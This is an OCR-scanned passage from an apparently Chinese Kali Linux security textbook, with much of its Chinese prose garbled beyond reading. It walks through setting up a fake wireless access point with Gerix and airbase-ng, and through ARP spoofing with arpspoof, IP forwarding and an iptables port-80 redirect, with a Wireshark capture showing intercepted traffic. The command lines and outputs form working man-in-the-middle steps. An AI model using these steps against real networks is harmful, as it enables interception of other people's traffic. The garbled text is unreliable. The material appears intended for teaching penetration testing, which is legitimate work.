[ WEP @ MNone O WPA O WPAZ2
aabbccddee
WPA/WPAZ types
@ WEP40 O TKIP O WRAP O CCMP ) WEP1

Options
[ AdHoc mode [ Hidden 551D [ Disable broadcast probes [] Respond to all B

(]

a | B

17:24:49 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]

Gerix It aame.

9.16 = Fake AP Fiffi

(4) iz FtiEm] U B BRIARIFE £ ESSID 2y honeypot. JLEXS honeypot 42244 personalnetwork,
E R el () TC 26422 1T channel &84, BXUR A 9.17 Fiws.
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Gerix wifi cracker

Welcome Configuration WEP WPA | Fake AP | Cracking Database Credits

Welcome in Fake Access Point Control Panel
Create Fake AP

|personalnetwork

Access point channel:

[1

Cryptography tags

Key in Hex (Ex. aabbccddee) or Empty:
[ WEP ® None O WPA O WPA2

|aabbccddee

WPA/WPA2 types =
@ WEP40 O TKIP O WRAP O CCMP O WEP1
Options

[ AdHoc mode [ Hidden SSID [ Disable broadcast probes [J Respond to all

Start Fake Access Point

m | y
13:19:52 - Cracking WEP with aircrack launched {remember to save database’s changes)
13:25:52 - Cracking WEP with aircrack launched (remember to save database's changes)
13:49:50 - Cracking WEP with aircrack launched (remember to save database’s changes) H
13:52:17 - Cracking WEP with aircrack launched (remember to save database's changes)

Gerix It aame.

K9.17 1% Fake AP

(5) L HERERERG, HEi BTN E. X550 Start Fake Access Point 1241, # &~
P 9.18 AT AT o

bash -c "airbase-ng -e personalnetwork -c 1 -w aab

K19.18 Jazhfid A s

(6) 44 [ BB 2 1) personalnetwork AP I, 1% A<= 4n T B 15 2 .
17:32:34 Client 18:DC:56:F0:62:AF associated(WEP) to ESSID: "personalnetwork"
PL A B 2R, MAC Hilik 18:DC:56:F0:62:AF (¥ AP 1E7£3i%E 4% personalnetwork .
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9.3 Arpspoof TE

e =2

Arpspoof & — N EH IF ) ARP 3 FITEARTLFER . ‘B B AT A2 SEm BEAN W 2% RS, 1% 18
o B Pt b B EHE T I B B AR OIS . AT A 4H Arpspoof L B[ f# A .

9.3.1 URL REEENBEH

URL it BB AR R R R T B AN Bdy, dlad H AR EALR B i S N B BRI 10 R s ARP
TENSEI B . AT 2481 arpspoof T 528l URL W EHHHrds. 4] Arpspoof T E.Sz3] URL
TMEBREBGE . BB L RIS FoR:

(1 JF)A R RN RE . AT i & R PR

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

PATLA B fa, WA RS B .

(2) JE3) arpspoof VEALT Hir RS B B77ik 2 Wit (192.168.6.102) Kik ARP ¥Efu,

DU (192.168.6.1) . HARFRS (192.168.6.101) . NI # /el HAx R4, HATAr4 W T His:
root@kali:~# arpspoof -i eth0 -t 192.168.6.101 192.168.6.1
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42:
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42:
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42:
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42:

arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
arp reply 192.168.6.1 is-at 50:e5:49:ehb:46:8d

50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d
RO RN T Bl i H AR ML 192.168.6.102 K% M EE A . L 50:65:49:eb:46:8d /s Bl
H 1 MAC Hbtik; 19:21:3f:c3:e5 &I/N 192.168.6.101 (1) MAC Hulik, UL i FEXd k)G, HirFml
192.168.6.101 45 [% 5% 192.168.6.1 A IE K4l , PR & 1A S B ili# 192.168.6.102 L=
(3) f#iH arpspoof yEN BT . AT Ay U1 R s :
root@kali:~# arpspoof -i eth0 -t 192.168.6.1 192.168.6.101
50:e5:49:eb:46:8d 14:e6:e4:ac:fh:20 0806 42: arp reply 192.168.6.101 is-at 50:€5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fh:20 0806 42: arp reply 192.168.6.101 is-at 50:€5:49:eb:46:8d
50:e5:49:eb:46:8d 14:e6:e4:ac:fh:20 0806 42: arp reply 192.168.6.101 is-at 50:€5:49:eb:46:8d

DL ER 8 BB oR T BGE# R0 192.168.6.1 AOGXRIEHE . MG E, MG 192.168.6.1
Reh Bhr R4 192.168.6.101 F 1115 B k% B Mk 341 192.168.6.102 I,

(4) DA FPIREPAT RN, Bk 3 wirE 2 T 7 W oe s B AR NS 8RR . Bodi# T Lod
d RN, BEIERRSG EEENEL.

T AL ERE R, NTEHZE— AN RS

[ 5245 9-1] JEid{ ] Wireshark JTVELEGAIE arpspoof T B (KTt BARIENE S B0 R FiR:

(1) J33h Wireshark T-H. 7& Kali Linux SFHE{KIGER “MAHFEF” |Kali Linux|Top 10 Security
Tools|wireshark 74, K Z R~ W1F 9.19 Frs KISt
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=
The Wireshark Network Analyzer [Wireshark 1.10.2 (SVN Rev 51934 from /tr l - |0 X

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
©® i m =€ aed»y T I ENE -

Filter: ~ | Expression... v

The World's Most Popular Network Protoco

WIRESHARK Version 1.10.2 (SVN Rev 51934 from /trunk-1.10)

‘. Interface List = Open

I
= Live list of the captureinterfaces Opena previously captured file

(counts incoming packets)

Open Recent:

4 Start
Choose one or more interfaces to capturefrom, then Start froot!targethost‘pcap (22 kB)
gl etho
@nﬂo
’ ® Sample Captures
&) any e
Ready to load or capture . No...: Profile; Default

9.19 Wireshare &z 7

(2) {Ei% 5t Start T [, Jﬁ%giﬁ%&m% . X HLEHE eth0; S8 Jm By Start 4241, KR s ini&
9.20 7R (A ST o T

|
*ethO [Wireshark 1.10.2 (SVN Rev 51934 from [trunk-1.10)] l - (0| %

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
EfXClaera T v

Filter: ~ | Expression... v

ooon  ff ff ff ff ff ff 00 50 56 c0 0O 08 08 06 00 01 ....... PVl
0010 08 00 05 04 0O 01 QD 50 56 cO QD 08 cO a8 29 01 ....... PV..... ).
0020 00 00 00 OO OO 00 cO a8 29 02 00 00 0O 00 00 00  ........ ) I
O™ File: "/tmp/wireshark_pcapng_eth0... ... Profile: Default

K 9.20 A Sm

(3) 1S AT PG Wireshark HEATAH G B B30 151k REHEGE ..
(4) fEHFR A% 192.168.6.101 - ping 5% 192.168.6.1. FHATA211 T Fin:

C:\Users\Administrator>ping 192.168.6.1
YL B4 $dT5E)E, Bl Kali N &F Wireshark IR EE . & 9.21 i,
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—
*ethO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10}] - | O

File Edit View Go Capture Apalyze Statistics Telephony Tools Internals Help
©® 4 m @ XC | Aae>»4F ¥ EE @9 w B ofEMEE:E -

Filter: ~  Expression...

No. | Time Source Destination | Protocol | Lengtt | Info
28 2014-85-14 @87:15:38 192.168.
20 2014-85-14 87:15:38 192.168.6.182 192 B
30 2014-85-14 @7:15:38 192.168.6.101 192.168.6.1 ICMP
31 2014-85-14 @87:15:38 192.168.6.1  192.168.6.181 ICMP
32 2014-85-14 @7:15:38 192.168.6.102 192.168.6.1

33 2014-85-14 @7:15:38 192.168.6.1  192.168.6.181

, ttl=127
, ttl=64

74 Echo (ping) request
(plng) reply

ICMP
Frame 28: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface 0

Ethernet II, Src: Elitegro_3f:c3:e5 (00:19:21:3f:c3:e5), Dst: Giga Byt _eb:46:8d (50:e5:49:eb:48:8d)
Internet Protocol Version 4, Src: 192.168.6.101 (192.158.5.101), Dst: 192.168.6.#{192.168.6.1)
Internet Control Message Protocol )

+ [+ [+ [+

0000 50 e5 49 eb 46 8d 00 19 21 3f €3 e5 08 00 45 00 P.I.F... !7....E.
0010 00 3c 02 aa 0D 00 B0 01 a9 60 cO a8 06 65 cD a8 B
0020 06 0l 02 00 4d 4e 00 01 00 Od 61 62 63 64 65 68 ceo MNLL L Labedet

0030 67 68 69 6a 6b 6c 6d Be &f 70 71 72 73 74 75 76  ghijklmn opgrstuv
O # File: "/tmp/wireshark_pcapng_eth0... . Packets: 83 - Displayed: 83 (1L00.0%) - Dropped: O (... - Profile: Default

F9.21 gk EuE

(5) 1Z 7N 77192:168:6:101 5 192.168.6.1 Z (Al A AL it A2 oL i A I FE 4 5N
28-33, 28-30 72— ME KA (IR, 31-33 72 H bria S 2 @ A e b gy b 3k i 2 s 4.
28: 7~ 192.168.6.101 (J5) [1] 192.168.6.1 (HAx) &% ping iFKs
29: I~ 192.168.6.102 %5 192.168.6.101 [ I L1 T#E K
30: #In 192.168.6.102 ¥kt % fo M BdE AL, 1M 192.168.6.1 KKK
31: Fom HFrFML 192.168.6.1 1w 192.168.6.101 fiEK .

32: Foni%m RN &% F) 192.168.6.102 |, % ENLEFE K F) 192.168.6.1.
33: HbraEd 192.168.6. 13655 Kk Bl A 1%45 192:168.6.101 s

d
a
d
a
d
a

9.3.2 wmOEEEREH

S 11 L5 i) SV iy 11 % A B T BJSRT o ity 11 B 5 [ 2 0 38— oy 1 50 L PR A2 (80 g 1)
J HL 8 n) S I BN R A3 1 (n 8080) o SEBIX A Mok Al 2 W LATE 1858 1Y, DR AT DA
5 CE S [ 2 A TRt BRI 2 v 1, E O RO R B R G A 1 — AR g 1 e AR A 2 A8
arpspoof SZF s 11 5 52 [ Wiy . i arpspoof SEE s 11 8 52 ) Wil o BARERAE LR U Fios:

(L) FFEg s R . AT a2 W N s

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
(2) JE3)) arpspoof T HiENGLEFIERINLS . B, ARG FI BRI OCHEE Y 192.168.6.1. $HAT
AN BTN
root@kali:~# arpspoof -i eth0 192.168.6.1
£ Kali Linux EHATA Eardfa, A EMEHE R . X2 Kali 1.0.6 E—4 bug, BIAEZRS
 dsniff BAEELIIRAS 2 dsniff-2.4b1+debian-22. $14T arpspoof fr&ATEE Hir R4, RALE dsniff
BAEA 2 dsniff-2.4bl+debian-21.1 -4 A] IEH#IiE84T .

(3) #IN— 23 VL E [ OB AR - $0AT i &0 R BITss -
root@kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
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PATU L@ & )E, WE T .
PLEECE BRI E, 2 N De 192.168.6.1 1 80 i 111 A& TE RIS, #ax ikt ko 8080 i [ k1% 5
Wi FHL L.

Ade, =
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